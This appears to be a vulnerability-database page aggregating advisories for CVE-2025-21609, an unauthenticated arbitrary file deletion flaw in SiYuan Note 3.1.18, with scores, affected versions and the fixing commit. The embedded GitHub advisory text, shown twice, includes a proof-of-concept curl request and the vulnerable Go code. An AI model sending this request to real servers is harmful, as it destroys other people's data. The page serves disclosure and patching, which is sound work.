Every CVESearch/Get API key

CVE-2025-21609

SiYuan has an arbitrary file deletion vulnerability

8.7 HighFix available

SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.63%Up 0.6 points since Jan 4, 2025
90%50%10%1%

What each source reports

CVE List Score used8.7

SiYuan has an arbitrary file deletion vulnerability

SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.

Record
CVE-2025-21609
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-459, CWE-552
Updated
2026-11-02
EUVDEUVD-2025-00178.7

SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.

Record
EUVD-2025-0017
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-03
GitHub AdvisoriesGHSA-8fx8-pffw-w4988.7

SiYuan has an arbitrary file deletion vulnerability

Summary

A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.

Details

The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.

Sending a request to the /api/history/getDocHistoryContent like:

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.

The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.

In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.

if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll

func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
	if !gulu.File.IsExist(historyPath) {
		logging.LogWarnf("doc history [%s] not exist", historyPath)
		return
	}

	data, err := filelock.ReadFile(historyPath)
	if err != nil {
		logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
		return
	}
	isLargeDoc = 1024*1024*1 <= len(data)

	luteEngine := NewLute()
	historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
	if err != nil {
		logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
		os.RemoveAll(historyPath)
		return
	}
	...
}

PoC

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Impact

arbitrary file deletion vulnerability

Record
GHSA-8fx8-pffw-w498
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-459, CWE-552
Updated
2026-11-02
NVD8.7

SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.

Record
CVE-2025-21609
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Weakness
CWE-459, CWE-552
Updated
2026-11-02
OSV8.7

SiYuan has an arbitrary file deletion vulnerability

SiYuan is self-hosted, open source personal knowledge management software. SiYuan Note version 3.1.18 has an arbitrary file deletion vulnerability. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint. An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server. Commit d9887aeec1b27073bec66299a9a4181dc42969f3 fixes this vulnerability and is expected to be available in version 3.1.19.

Record
CVE-2025-21609
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-459, CWE-552
Updated
2026-11-02
OSVGHSA-8fx8-pffw-w4988.7

SiYuan has an arbitrary file deletion vulnerability

Summary

A arbitrary file deletion vulnerability has been identified in the latest version of Siyuan Note. The vulnerability exists in the POST /api/history/getDocHistoryContent endpoint.An attacker can craft a payload to exploit this vulnerability, resulting in the deletion of arbitrary files on the server.

Details

The vulnerability can be reproduced by sending a crafted request to the /api/history/getDocHistoryContent endpoint.

Sending a request to the /api/history/getDocHistoryContent like:

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Replace <abs_filepath_of_a_file> with the absolute file path of the target file you wish to delete.

The historyPath parameter in the payload is processed by the func getDocHistoryContent in api/history.go:133.

In turn, historyPath is passed to the func GetDocHistoryContent located in model/history.go:150 , which is the slink of the vulnerability.

if historyPath exists and does not satisfy the filesys.ParseJSONWithoutFix, then it will be deleted by os.RemoveAll

func GetDocHistoryContent(historyPath, keyword string, highlight bool) (id, rootID, content string, isLargeDoc bool, err error) {
	if !gulu.File.IsExist(historyPath) {
		logging.LogWarnf("doc history [%s] not exist", historyPath)
		return
	}

	data, err := filelock.ReadFile(historyPath)
	if err != nil {
		logging.LogErrorf("read file [%s] failed: %s", historyPath, err)
		return
	}
	isLargeDoc = 1024*1024*1 <= len(data)

	luteEngine := NewLute()
	historyTree, err := filesys.ParseJSONWithoutFix(data, luteEngine.ParseOptions)
	if err != nil {
		logging.LogErrorf("parse tree from file [%s] failed, remove it", historyPath)
		os.RemoveAll(historyPath)
		return
	}
	...
}

PoC

curl "http://127.0.0.1:6806/api/history/getDocHistoryContent" -X POST -H "Content-Type: application/json" -d '{"historyPath":"<abs_filepath_of_a_file>"}'

Impact

arbitrary file deletion vulnerability

Record
GHSA-8fx8-pffw-w498
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-459, CWE-552
Updated
2026-11-02
OSVGO-2025-3362No score

SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel

SiYuan has an arbitrary file deletion vulnerability in github.com/siyuan-note/siyuan/kernel

Record
GO-2025-3362
Updated
2026-11-02
OSVopenSUSE-SU-2025:14624-1No score

govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media

These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.

Record
openSUSE-SU-2025:14624-1
Updated
2026-11-02
OSVSUSE-SU-2025:0060-1No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3371 GHSA-2r2v-9pf8-6342
    • GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c
  • Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368
    • GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx
    • GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg
    • GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8
    • GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr
    • GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c
    • GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv
    • GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq
    • GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498
    • GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3
    • GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r
    • GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4
    • GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m
  • Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2024-3101 GHSA-75qh-gg76-p2w4
    • GO-2024-3339 GHSA-8wcc-m6j2-qxvm
  • Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z. Refs jsc#PED-11136 Go CVE Numbering Authority IDs added or updated with aliases:

    • GO-2024-3101 GHSA-75qh-gg76-p2w4
    • GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p
    • GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63
    • GO-2024-3342 GHSA-hxr6-2p24-hf98
    • GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp
    • GO-2024-3344 GHSA-32gq-x56h-299c
    • GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w
    • GO-2024-3350 GHSA-5pf6-cq2v-23ww
    • GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf
Record
SUSE-SU-2025:0060-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/siyuan-note/siyuan/kernel
Go
before 0.0.0-20250103014808-d9887aeec1b2
0.0.0-20250103014808-d9887aeec1b2
github.com/siyuan-note/siyuan/kernel
Go
All versionsNone known
govulncheck-vulndb
SUSE:Linux Enterprise Module for Package Hub 15 SP6
From an advisory covering 18 CVEs
before 0.0.20250108T191942-150000.1.26.1
0.0.20250108T191942-150000.1.26.1
govulncheck-vulndb
openSUSE:Leap 15.6
From an advisory covering 18 CVEs
before 0.0.20250108T191942-150000.1.26.1
0.0.20250108T191942-150000.1.26.1
govulncheck-vulndb
openSUSE:Tumbleweed
From an advisory covering 13 CVEs
before 0.0.20250108T191942-1.1
0.0.20250108T191942-1.1

History

History
RecordedChangedSources
affected, facts
aliasesEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2025-21609 is a high vulnerability (CVSS 8.7) in B3log Siyuan, published January 3, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.63%, the 50th percentile. Fixed in github.com/siyuan-note/siyuan/kernel 0.0.0-20250103014808-d9887aeec1b2.

References

Show 20 moreShow less
MoveEnter Open